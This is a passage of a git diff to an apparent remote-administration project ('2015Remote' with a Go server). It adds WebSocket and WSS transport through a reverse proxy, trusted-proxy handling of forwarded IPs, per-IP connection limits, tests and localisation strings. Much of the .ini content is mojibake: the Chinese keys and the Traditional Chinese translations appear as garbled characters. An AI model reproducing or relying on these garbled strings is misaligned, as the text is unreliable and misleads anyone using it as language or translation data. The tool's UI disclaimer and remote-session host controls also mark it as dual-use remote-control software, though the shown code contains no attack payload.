¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren?\n(Linux-Clients wechseln sofort und verbinden sich neu; Windows-Clients erst nach dem Neustart) +ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=TLS-Transport fuer die ausgewaehlten Hosts aktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen) +ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen) ·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»¿ͻ§¶Ë TLS ´«Êä=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden ¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Ï·¢=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich +; ===== Protokollwechsel (Protocol Switch) ===== +ЭÒéÇл»=Protokollwechsel +ֱÁ¬ TCP=Direktes TCP +WS£¨¾­·´Ïò´úÀí£¬Ã÷Îģ©=WS (ueber Reverse-Proxy, Klartext) +WSS£¨¾­·´Ïò´úÀí£¬TLS£©=WSS (ueber Reverse-Proxy, TLS) +·´´úÈë¿Ú(ÓòÃû:¶˿Ú):=Proxy (Domain:Port): +·´Ïò´úÀíÈë¿ڸñʽ²»Õýȷ£¬ӦΪ ÓòÃû:¶˿Ú=Ungueltiger Reverse-Proxy-Eingang; erwartet wird Domain:Port +·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»µ½ WSS=Server-TLS-Zertifikat ist nicht aktiviert; Wechsel zu WSS nicht moeglich +¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Çл»µ½ WSS=Server-TLS-Zertifikat konnte nicht gelesen werden; Wechsel zu WSS nicht moeglich +ѡÖеÄÖ÷»úÀïÓпͻ§¶˰汾²»֧³ÖЭÒéÇл»£¨ÐèҪаæ¿ͻ§¶ˣ©=Einige ausgewaehlte Hosts laufen mit einem Client ohne Protokollwechsel-Unterstuetzung (neuerer Client erforderlich) +ȷ¶¨°ÑѡÖÐÖ÷»úÇлØֱÁ¬ TCP Âð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£»ÈôֱÁ¬¶˿ڲ»¿ɴ5 ·ÖÖӺó×Զ¯»ØÍ˵½µ±ǰÈë¿ڣ©=Ausgewaehlte Hosts zurueck auf direktes TCP schalten?\n(Clients verbinden sich sofort neu; ist der direkte Port nicht erreichbar, fallen sie nach 5 Minuten auf den aktuellen Eingang zurueck) +ȷ¶¨Çл»ѡÖÐÖ÷»úµĴ«ÊäЭÒéÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ»ÐÂÈë¿Ú 5 ·ÖÖÓÄÚÁ¬²»ÉϽ«×Զ¯»ØÍˣ©=Transportprotokoll der ausgewaehlten Hosts umschalten?\n(Clients verbinden sich sofort neu, laufende Sitzungen werden unterbrochen; ist der neue Eingang 5 Minuten lang nicht erreichbar, wird automatisch zurueckgefallen) °×Ãûµ¥=Whitelist ȷ¶¨½«ѡÖÐÈÕ־ÖеÄ IP ¼ÓÈë°×Ãûµ¥Âð£¿=IP aus den ausgewaehlten Log-Eintraegen zur Whitelist hinzufuegen? Òѽ« %d ¸ö IP ¼ÓÈë°×Ãûµ¥=%d IP(s) zur Whitelist hinzugefuegt diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 4003063..ccc0ea4 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -282,6 +282,7 @@ Web ͨÓÃ=General ¸߼¶ (·DZØÌîÏî)=Advanced (Optional) Ìáʾ: ¶à¸öÉÏÏߵØַÓ÷ֺŷָô£¬99¸ö×ַûÒÔÄڡ£½ö¹©ѧϰºÍ×ÔÓã¬ÑϽûÓÃÓڷǷ¨ĿµÄʹÓá£=Tip: Multiple addresses separated by semicolons, max 99 chars. +Ìáʾ: WebSocketЭÒéÐ辭·´Ïò´úÀí(Èçnginx 443)ת·¢µ½Ö÷¿ض˿ڣ¬µØַÌîÓòÃû¡£=Tip: WebSocket requires a reverse proxy (e.g. nginx on 443) forwarding to the control port; enter the domain as the address. ; ============================================ ; Service Manager @@ -2129,8 +2130,8 @@ TLS ֤Êé/˽Կ¼ÓÔØʧ°ܣ¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨֤Êé PEM¡¢˽Կ PKCS#8£©¡£=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key). TLS´«Êä=TLS Transport ȡÏûTLS=Disable TLS -ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨Linux ¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=Enable TLS transport for the selected host?\n(Linux clients switch immediately and reconnect; Windows clients apply it on next start) -ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨Linux ¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=Disable TLS transport for the selected host?\n(Linux clients switch immediately and reconnect; Windows clients apply it on next start) +ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=Enable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted) +ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=Disable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted) ·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»¿ͻ§¶Ë TLS ´«Êä=Server TLS certificate is not enabled; cannot toggle client TLS transport ¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Ï·¢=Failed to read the server TLS certificate; cannot distribute °×Ãûµ¥=Whitelist @@ -2155,3 +2156,16 @@ Y »­Ãæ %dx%d£»Éϱ¨ %s£»ϵÊýΪÕæʵ³ýÒÔÉϱ¨=Frame %dx%d; reported %s; factor: real/reported Ëõ·ÅϵÊýÐèÔÚ 0.2 µ½ 5.0 ֮¼䡣=Scale factors must be between 0.2 and 5.0. ÒѰ´ »­Ãæ/Éϱ¨ ×Զ¯Ìîд£¬¿ÉÐ޸Ä=Auto-filled from frame/reported; editable + +; ===== ЭÒéÇл» (Protocol Switch) ===== +ЭÒéÇл»=Protocol Switch +ֱÁ¬ TCP=Direct TCP +WS£¨¾­·´Ïò´úÀí£¬Ã÷Îģ©=WS (via reverse proxy, plaintext) +WSS£¨¾­·´Ïò´úÀí£¬TLS£©=WSS (via reverse proxy, TLS) +·´´úÈë¿Ú(ÓòÃû:¶˿Ú):=Proxy (host:port): +·´Ïò´úÀíÈë¿ڸñʽ²»Õýȷ£¬ӦΪ ÓòÃû:¶˿Ú=Invalid reverse proxy entry; expected host:port +·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»µ½ WSS=Server TLS certificate is not enabled; cannot switch to WSS +¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Çл»µ½ WSS=Failed to read the server TLS certificate; cannot switch to WSS +ѡÖеÄÖ÷»úÀïÓпͻ§¶˰汾²»֧³ÖЭÒéÇл»£¨ÐèҪаæ¿ͻ§¶ˣ©=Some selected hosts run a client without protocol switching support (a newer client is required) +ȷ¶¨°ÑѡÖÐÖ÷»úÇлØֱÁ¬ TCP Âð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£»ÈôֱÁ¬¶˿ڲ»¿ɴ5 ·ÖÖӺó×Զ¯»ØÍ˵½µ±ǰÈë¿ڣ©=Switch the selected hosts back to direct TCP?\n(Clients reconnect immediately; if the direct port stays unreachable, they revert to the current entry after 5 minutes) +ȷ¶¨Çл»ѡÖÐÖ÷»úµĴ«ÊäЭÒéÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ»ÐÂÈë¿Ú 5 ·ÖÖÓÄÚÁ¬²»ÉϽ«×Զ¯»ØÍˣ©=Switch the transport protocol for the selected hosts?\n(Clients reconnect immediately and any active remote session is interrupted; if the new entry stays unreachable for 5 minutes, the client reverts automatically) diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index dedbf81..e5b4738 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -282,6 +282,7 @@ Web ͨÓÃ=ͨÓà ¸߼¶ (·DZØÌîÏî)=ßMëA (·DZØÌîí—) Ìáʾ: ¶à¸öÉÏÏߵØַÓ÷ֺŷָô£¬99¸ö×ַûÒÔÄڡ£½ö¹©ѧϰºÍ×ÔÓã¬ÑϽûÓÃÓڷǷ¨ĿµÄʹÓá£=Ìáʾ: ¶à‚€ÉϾ€λַÓ÷Ö̖·ָô£¬99‚€×ÖԪÒԃȡ£ƒH¹©ŒWÁ•ºÍ×ÔÓ㬇À½ûÓÃ춷Ƿ¨ĿµÄʹÓᣠ+Ìáʾ: WebSocketЭÒéÐ辭·´Ïò´úÀí(Èçnginx 443)ת·¢µ½Ö÷¿ض˿ڣ¬µØַÌîÓòÃû¡£=Ìáʾ: WebSocket …f¶¨Ð轛·´Ïò´úÀí(Èç nginx 443)ÞD°lµ½Ö÷¿ØßB½Ӳº£¬λַՈÌî¾WÓò¡£ ; ============================================ ; Service Manager @@ -2120,8 +2121,8 @@ TLS ֤Êé/˽Կ¼ÓÔØʧ°ܣ¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨֤Êé PEM¡¢˽Կ PKCS#8£©¡£=‘{×C/˽è€ÝdÈëʧ”¡£¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Ո™z²é™n°¸·�½Åc¸ñʽ£¨‘{×C PEM¡¢˽è€ PKCS#8£©¡£ TLS´«Êä=TLS ‚÷ݔ ȡÏûTLS=ͣÓà TLS -ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨Linux ¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=´_¶¨Œ¦ßxȡÖ÷™C†¢Óà TLS ‚÷ݔ†᣿\n£¨Linux ÓÑô¶ËÁ¢¼´ÉúЧ�K”ྀÖØßB£»Windows ÓÑô¶ËÏ´Ά¢„ÓÉúЧ£© -ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨Linux ¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£»Windows ¿ͻ§¶ËÏ´ÎÆô¶¯ÉúЧ£©=´_¶¨ȡÏûßxȡÖ÷™CµÄ TLS ‚÷ݔ†᣿\n£¨Linux ÓÑô¶ËÁ¢¼´ÉúЧ�K”ྀÖØßB£»Windows ÓÑô¶ËÏ´Ά¢„ÓÉúЧ£© +ȷ¶¨¶ÔѡÖÐÖ÷»úÆôÓà TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=´_¶¨Œ¦ßxȡÖ÷™C†¢Óà TLS ‚÷ݔ†᣿\n£¨ÓÑô¶ËÁ¢¼´ÉúЧ�K”ྀÖØßB£¬ÕýÔÚßMÐеÄßh¶˹¤×÷ëA¶ΕþÖДࣩ +ȷ¶¨ȡÏûѡÖÐÖ÷»úµÄ TLS ´«ÊäÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´ÉúЧ²¢¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ©=´_¶¨ȡÏûßxȡÖ÷™CµÄ TLS ‚÷ݔ†᣿\n£¨ÓÑô¶ËÁ¢¼´ÉúЧ�K”ྀÖØßB£¬ÕýÔÚßMÐеÄßh¶˹¤×÷ëA¶ΕþÖДࣩ ·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»¿ͻ§¶Ë TLS ´«Êä=ËŷþÆ÷δ†¢Óà TLS ‘{×C£¬Ÿo·¨ÇГQÓÑô¶Ë TLS ‚÷ݔ ¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Ï·¢=×xȡËŷþÆ÷ TLS ‘{×Cʧ”¡£¬Ÿo·¨Ï°l °×Ãûµ¥=°×Ãû†Î @@ -2146,3 +2147,16 @@ Y »­Ãæ %dx%d£»Éϱ¨ %s£»ϵÊýΪÕæʵ³ýÒÔÉϱ¨=®‹Ãæ %dx%d£»Éψó %s£»‚S”µžéÕ挍³ýÒÔÉψó Ëõ·ÅϵÊýÐèÔÚ 0.2 µ½ 5.0 ֮¼䡣=¿s·łS”µÐèÔÚ 0.2 µ½ 5.0 ֮ég¡£ ÒѰ´ »­Ãæ/Éϱ¨ ×Զ¯Ìîд£¬¿ÉÐ޸Ä=ÒÑÒÀ ®‹Ãæ/Éψó ×ԄÓÌîÈ룬¿ÉÐ޸Ä + +; ===== ЭÒéÇл» (Protocol Switch) ===== +ЭÒéÇл»=…f¶¨ÇГQ +ֱÁ¬ TCP=ֱßB TCP +WS£¨¾­·´Ïò´úÀí£¬Ã÷Îģ©=WS£¨½›·´Ïò´úÀí£¬Ã÷Îģ© +WSS£¨¾­·´Ïò´úÀí£¬TLS£©=WSS£¨½›·´Ïò´úÀí£¬TLS£© +·´´úÈë¿Ú(ÓòÃû:¶˿Ú):=·´´úÈë¿Ú(¾WÓò:²º): +·´Ïò´úÀíÈë¿ڸñʽ²»Õýȷ£¬ӦΪ ÓòÃû:¶˿Ú=·´Ïò´úÀíÈë¿ڸñʽ²»Õý´_£¬‘ªžé ¾WÓò:ßB½Ӳº +·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»µ½ WSS=ËŷþÆ÷δ†¢Óà TLS ‘{×C£¬Ÿo·¨ÇГQµ½ WSS +¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Çл»µ½ WSS=×xȡËŷþÆ÷ TLS ‘{×Cʧ”¡£¬Ÿo·¨ÇГQµ½ WSS +ѡÖеÄÖ÷»úÀïÓпͻ§¶˰汾²»֧³ÖЭÒéÇл»£¨ÐèҪаæ¿ͻ§¶ˣ©=ßxȡµÄÖ÷™CÖÐÓÐÓÑô¶˰汾²»֧Ԯ…f¶¨ÇГQ£¨ÐèҪаæÓÑô¶ˣ© +ȷ¶¨°ÑѡÖÐÖ÷»úÇлØֱÁ¬ TCP Âð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£»ÈôֱÁ¬¶˿ڲ»¿ɴ5 ·ÖÖӺó×Զ¯»ØÍ˵½µ±ǰÈë¿ڣ©=´_¶¨Œ¢ßxȡÖ÷™CÇлØֱßB TCP †᣿\n£¨ÓÑô¶ËÁ¢¼´”ྀÖØßB£»ÈôֱßBßB½Ӳº²»¿Éß_£¬5 ·ÖçŠáá×ԄӻØÍ˵½ĿǰÈë¿ڣ© +ȷ¶¨Çл»ѡÖÐÖ÷»úµĴ«ÊäЭÒéÂð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£¬ÕýÔڽøÐеÄԶ³̻Ự»áÖжϣ»ÐÂÈë¿Ú 5 ·ÖÖÓÄÚÁ¬²»ÉϽ«×Զ¯»ØÍˣ©=´_¶¨ÇГQßxȡÖ÷™CµĂ÷ݔ…f¶¨†᣿\n£¨ÓÑô¶ËÁ¢¼´”ྀÖØßB£¬ÕýÔÚßMÐеÄßh¶˹¤×÷ëA¶ΕþÖДࣻÐÂÈë¿Ú 5 ·Ö犃ÈßB²»Éό¢×ԄӻØÍˣ© diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 281925e..19d4517 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1113,14 +1113,18 @@ #define ID_EXPERIMENT_TLS_DISABLE 33095 #define ID_MSGLOG_WHITELIST_IP 33096 #define ID_ONLINE_COPY_NAME 33097 +// 协议切换(在线主机列表右键菜单,与「实验功能」平级) +#define ID_PROTO_SWITCH_TCP 33098 +#define ID_PROTO_SWITCH_WS 33099 +#define ID_PROTO_SWITCH_WSS 33100 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 417 -#define _APS_NEXT_COMMAND_VALUE 33098 +#define _APS_NEXT_COMMAND_VALUE 33101 #define _APS_NEXT_CONTROL_VALUE 2621 #define _APS_NEXT_SYMED_VALUE 105 #endif diff --git a/server/go/cmd/main.go b/server/go/cmd/main.go index ac23f72..15c3805 100644 --- a/server/go/cmd/main.go +++ b/server/go/cmd/main.go @@ -1153,6 +1153,22 @@ func main() { log.Info("ConnAuth HMAC verification enabled for device sub-connections (YAMA_CONN_AUTH_KEY)") } + // Optional WebSocket transport on the device port, for devices that can only + // reach the server through a reverse proxy on a shared port (nginx on 443). + // YAMA_WS_PATH restricts upgrades to one request path (empty = any path). + // YAMA_TRUSTED_PROXIES lists the IPs/CIDRs allowed to report a device's real + // address via X-Forwarded-For / X-Real-IP (default: loopback only). + wsPath := strings.TrimSpace(os.Getenv("YAMA_WS_PATH")) + trustedProxies := splitCSV(os.Getenv("YAMA_TRUSTED_PROXIES")) + if wsPath != "" { + log.Info("WebSocket transport on device port enabled: path=%s", wsPath) + } else { + log.Info("WebSocket transport on device port enabled: any path") + } + if len(trustedProxies) > 0 { + log.Info("Trusting forwarded client IPs from: %s", strings.Join(trustedProxies, ", ")) + } + // Create servers for each port var servers []*server.Server for _, port := range ports { @@ -1163,6 +1179,8 @@ func main() { config.PerIPConnRateLimit = envInt("YAMA_PERIP_CONN_RATE", config.PerIPConnRateLimit) config.TLSCertFile = tlsCert config.TLSKeyFile = tlsKey + config.WSPath = wsPath + config.TrustedProxies = trustedProxies srv := server.New(config) srv.SetLogger(log.WithPrefix(fmt.Sprintf("Server:%d", port))) diff --git a/server/go/connection/context.go b/server/go/connection/context.go index 1c14c4c..6d43a4f 100644 --- a/server/go/connection/context.go +++ b/server/go/connection/context.go @@ -61,6 +61,10 @@ type Context struct { closed atomic.Bool sendLock sync.Mutex server *Manager + + // peerIPOverride replaces the address derived from RemoteAddr when a + // trusted reverse proxy reports the device's real address. + peerIPOverride string } // FlagType represents the protocol flag type @@ -156,12 +160,28 @@ func (c *Context) IsClosed() bool { // GetPeerIP returns the peer IP address func (c *Context) GetPeerIP() string { + c.mu.RLock() + override := c.peerIPOverride + c.mu.RUnlock() + if override != "" { + return override + } if host, _, err := net.SplitHostPort(c.RemoteAddr); err == nil { return host } return c.RemoteAddr } +// SetPeerIP overrides the address reported by GetPeerIP. The server uses it +// when a trusted reverse proxy reports a device's real address, so per-IP +// accounting, logging and the ConnAuth sub-connection binding all see the +// device rather than the proxy. +func (c *Context) SetPeerIP(ip string) { + c.mu.Lock() + c.peerIPOverride = ip + c.mu.Unlock() +} + // AliveTime returns how long the connection has been alive func (c *Context) AliveTime() time.Duration { return time.Since(c.OnlineTime) diff --git a/server/go/server/server.go b/server/go/server/server.go index 6b51696..45ca1b3 100644 --- a/server/go/server/server.go +++ b/server/go/server/server.go @@ -42,6 +42,17 @@ type Config struct { PerIPConnRateLimit int // max new connections per PerIPConnRateWindow per IP (0 = unlimited) PerIPConnRateWindow time.Duration // window for PerIPConnRateLimit + // WebSocket transport. Devices that can only reach the server through a + // reverse proxy on a shared port (e.g. nginx on 443) upgrade to WebSocket; + // the device port then carries the unchanged app protocol inside binary + // frames. WSPath restricts the upgrade to one request path ("" = any). + WSPath string + + // TrustedProxies lists the IPs/CIDRs whose X-Forwarded-For / X-Real-IP + // headers are believed. Only connections from these peers are allowed to + // report a different device address; empty defaults to loopback. + TrustedProxies []string + // TLSCertFile / TLSKeyFile enable optional one-way TLS on the device port. // When both are set the server loads the cert and auto-detects TLS clients // by their ClientHello; plaintext clients keep working unchanged. Both empty @@ -87,6 +98,10 @@ type Server struct { // wrapTLS consults it to sniff and wrap incoming connections. tlsCfg *tls.Config + // trustedProxies are the peers allowed to report a device's real address + // via X-Forwarded-For / X-Real-IP (the reverse proxy in front of us). + trustedProxies []*net.IPNet + running atomic.Bool wg sync.WaitGroup ctx context.Context @@ -109,6 +124,7 @@ func New(config Config) *Server { cancel: cancel, logger: logger.New(logger.DefaultConfig()).WithPrefix("Server"), } + s.trustedProxies = parseTrustedProxies(config.TrustedProxies) return s } @@ -356,38 +372,85 @@ func (s *Server) acceptLoop() { continue } - // Check connection limit before spawning goroutine + // Check connection limit before spawning goroutine. if s.manager.Count() >= s.config.MaxConnections { s.logger.Warn("Max connections reached, rejecting new connection from %s", conn.RemoteAddr()) _ = conn.Close() continue } - // Per-IP connection cap + accept rate. Rejecting here (before any - // buffer allocation or goroutine) is cheap, and a rejected device - // simply retries on its reconnect loop. - if !s.ipLimit.allow(peerIP(conn.RemoteAddr())) { - s.logger.Warn("Per-IP connection limit reached, rejecting %s", conn.RemoteAddr()) + peer := peerIP(conn.RemoteAddr()) + counted, allowed := s.limitDirectPeer(peer) + if !allowed { + s.logger.Warn("Per-IP connection limit reached, rejecting %s", peer) _ = conn.Close() continue } // Handle each connection in its own goroutine - go s.handleConnection(conn) + go s.handleConnection(conn, counted) } } -// handleConnection handles a single connection -func (s *Server) handleConnection(rawConn net.Conn) { +// limitDirectPeer applies the per-IP cap and accept rate to a freshly accepted +// peer, before the goroutine is spawned and before any sniffing read: a peer +// that opens sockets and never sends a full ClientHello / upgrade would +// otherwise hold a goroutine and a reader for up to ReadTimeout each, with no +// limit at all. Peers that are trusted proxies are exempt and report +// counted=false — every device behind a proxy arrives from the proxy's +// address, so they are limited later by the address their proxy reports. +func (s *Server) limitDirectPeer(peer string) (counted, allowed bool) { + if s.trustedProxy(peer) { + return false, true + } + if !s.ipLimit.allow(peer) { + return false, false + } + return true, true +} + +// handleConnection handles a single connection. peerCapped reports whether +// acceptLoop already counted this peer against the per-IP limiter (direct +// peers only), in which case the count is released here when the connection +// ends. +func (s *Server) handleConnection(rawConn net.Conn, peerCapped bool) { + peer := peerIP(rawConn.RemoteAddr()) + if peerCapped { + defer s.ipLimit.release(peer) + } + // Sniff and (when TLS is enabled) wrap TLS peers; plaintext passes through. conn := s.wrapTLS(rawConn) + // Sniff for a WebSocket upgrade. Proxied devices (nginx on a shared port) + // arrive as a plaintext HTTP upgrade after the proxy terminated TLS. + conn, realIP := s.wrapWebSocket(conn, peer) + if conn == nil { + return + } + + if !peerCapped { + // Proxied device: limit by the forwarded address so one device behind + // the proxy cannot consume the whole budget for everyone else. + limitIP := peer + if realIP != "" { + limitIP = realIP + } + if !s.ipLimit.allow(limitIP) { + s.logger.Warn("Per-IP connection limit reached, rejecting %s (peer %s)", limitIP, peer) + _ = conn.Close() + return + } + defer s.ipLimit.release(limitIP) + } + // Create context ctx := connection.NewContext(conn, nil) - - // Always release the per-IP slot on every exit path, including the - // manager.Add failure below (a rare accept/add race). - defer s.ipLimit.release(ctx.GetPeerIP()) + if realIP != "" { + // Report the device's real address everywhere GetPeerIP is consulted + // (per-IP accounting, logging, ConnAuth sub-connection binding). + ctx.SetPeerIP(realIP) + } // Add to manager if err := s.manager.Add(ctx); err != nil { diff --git a/server/go/server/server_test.go b/server/go/server/server_test.go index 7a88855..bd8b2cb 100644 --- a/server/go/server/server_test.go +++ b/server/go/server/server_test.go @@ -93,6 +93,35 @@ func TestPeerIP(t *testing.T) { } } +// The per-IP cap must apply to direct peers before any sniffing read, so a +// peer that connects and stays silent cannot hold unbounded goroutines and +// readers. Peers that are trusted proxies are exempt (and counted later by the +// forwarded address), because all devices behind a proxy share its address. +func TestLimitDirectPeerBeforeSniff(t *testing.T) { + cfg := DefaultConfig() + cfg.PerIPMaxConnections = 1 + cfg.PerIPConnRateLimit = 0 // concurrent cap only + s := New(cfg) + + if counted, ok := s.limitDirectPeer("203.0.113.5"); !ok || !counted { + t.Fatalf("first direct peer: counted=%v ok=%v, want true/true", counted, ok) + } + // A second silent socket from the same address must be refused outright. + if counted, ok := s.limitDirectPeer("203.0.113.5"); ok || counted { + t.Fatalf("second direct peer: counted=%v ok=%v, want false/false", counted, ok) + } + // Loopback is a trusted proxy by default: exempt from the peer cap here. + if counted, ok := s.limitDirectPeer("127.0.0.1"); !ok || counted { + t.Fatalf("trusted proxy: counted=%v ok=%v, want false/true", counted, ok) + } + + // Releasing the slot frees capacity again. + s.ipLimit.release("203.0.113.5") + if _, ok := s.limitDirectPeer("203.0.113.5"); !ok { + t.Fatal("after release the address should be allowed again") + } +} + // A peer that sends bytes which never assemble into a complete packet (here an // HTTP-mask envelope with no terminating CRLF CRLF) must be disconnected once // the per-connection buffer cap is exceeded, rather than allowed to grow it @@ -110,7 +139,8 @@ func TestHandleConnectionBufferCap(t *testing.T) { done := make(chan struct{}) go func() { - srv.handleConnection(serverConn) + // false: acceptLoop was bypassed, so the peer was not pre-counted. + srv.handleConnection(serverConn, false) close(done) }() diff --git a/server/go/server/ws.go b/server/go/server/ws.go new file mode 100644 index 0000000..b135f50 --- /dev/null +++ b/server/go/server/ws.go @@ -0,0 +1,523 @@ +package server + +import ( + "bufio" + "bytes" + "crypto/sha1" + "encoding/base64" + "encoding/binary" + "errors" + "fmt" + "io" + "net" + "strings" + "sync" + "time" +) + +// WebSocket transport for devices that can only reach the server through a +// reverse proxy (nginx) on a shared port such as 443. +// +// The app protocol is unchanged: the WS layer is a transparent byte-stream +// tunnel. A device connects to the proxy with a normal WebSocket upgrade, +// nginx terminates TLS and proxies the (now plaintext) upgrade to the device +// port, and this file completes the handshake and carries the existing parser +// traffic inside binary frames. +// +// Upgrade request detection happens after the TLS sniff in handleConnection, +// so a proxied wss connection (nginx terminates TLS) and a direct wss +// connection (YAMA_TLS_CERT set, client speaks wss end to end) both work. + +const ( + wsMagicGUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" + + wsOpContinuation = 0x0 + wsOpText = 0x1 + wsOpBinary = 0x2 + wsOpClose = 0x8 + wsOpPing = 0x9 + wsOpPong = 0xA + + // wsMaxHandshakeBytes caps the upgrade request head we are willing to + // buffer before rejecting the peer. + wsMaxHandshakeBytes = 8 * 1024 + + // wsHandshakeTimeout bounds reading the request head once "GET " was seen. + wsHandshakeTimeout = 10 * time.Second +) + +var ( + errWSProtocol = errors.New("websocket: protocol error") + errWSHandshake = errors.New("websocket: bad handshake") + + // wsUpgradePrefix identifies an HTTP request whose first token is GET. The + // app protocol never starts a connection with these bytes (its flags are + // "Shine"/"HELL"/"POST" variants), so this is unambiguous. + wsUpgradePrefix = []byte("GET ") +) + +// wrapWebSocket sniffs the already TLS-sniffed connection for an HTTP +// WebSocket upgrade. When the peer is not upgrading, conn is returned +// unchanged. When the upgrade completes, the returned net.Conn frames all +// reads/writes, and realIP carries the client address reported by a trusted +// reverse proxy (empty otherwise). A failed upgrade returns (nil, ""). +func (s *Server) wrapWebSocket(conn net.Conn, peer string) (net.Conn, string) { + br := bufio.NewReader(conn) + // Bound the sniff even when the server has no ReadTimeout: a peer that opens a + // socket and never sends the prefix would otherwise hold the goroutine (and its + // per-IP slot) for as long as it likes. When ReadTimeout is configured and + // shorter, keep the tighter bound. + sniffTimeout := wsHandshakeTimeout + if s.config.ReadTimeout > 0 && s.config.ReadTimeout < sniffTimeout { + sniffTimeout = s.config.ReadTimeout + } + _ = conn.SetReadDeadline(time.Now().Add(sniffTimeout)) + hdr, err := br.Peek(len(wsUpgradePrefix)) + _ = conn.SetReadDeadline(time.Time{}) + if err != nil { + // Peer never sent enough to identify itself; let the normal read loop + // surface EOF/timeout exactly as it would without the sniff. + return &bufferedConn{Conn: conn, r: br}, "" + } + if !bytes.Equal(hdr, wsUpgradePrefix) { + return &bufferedConn{Conn: conn, r: br}, "" + } + + req, err := readWSRequest(br, conn) + if err != nil { + s.logger.Debug("wrapWebSocket: reject %s: %v", conn.RemoteAddr(), err) + writeWSReject(conn, 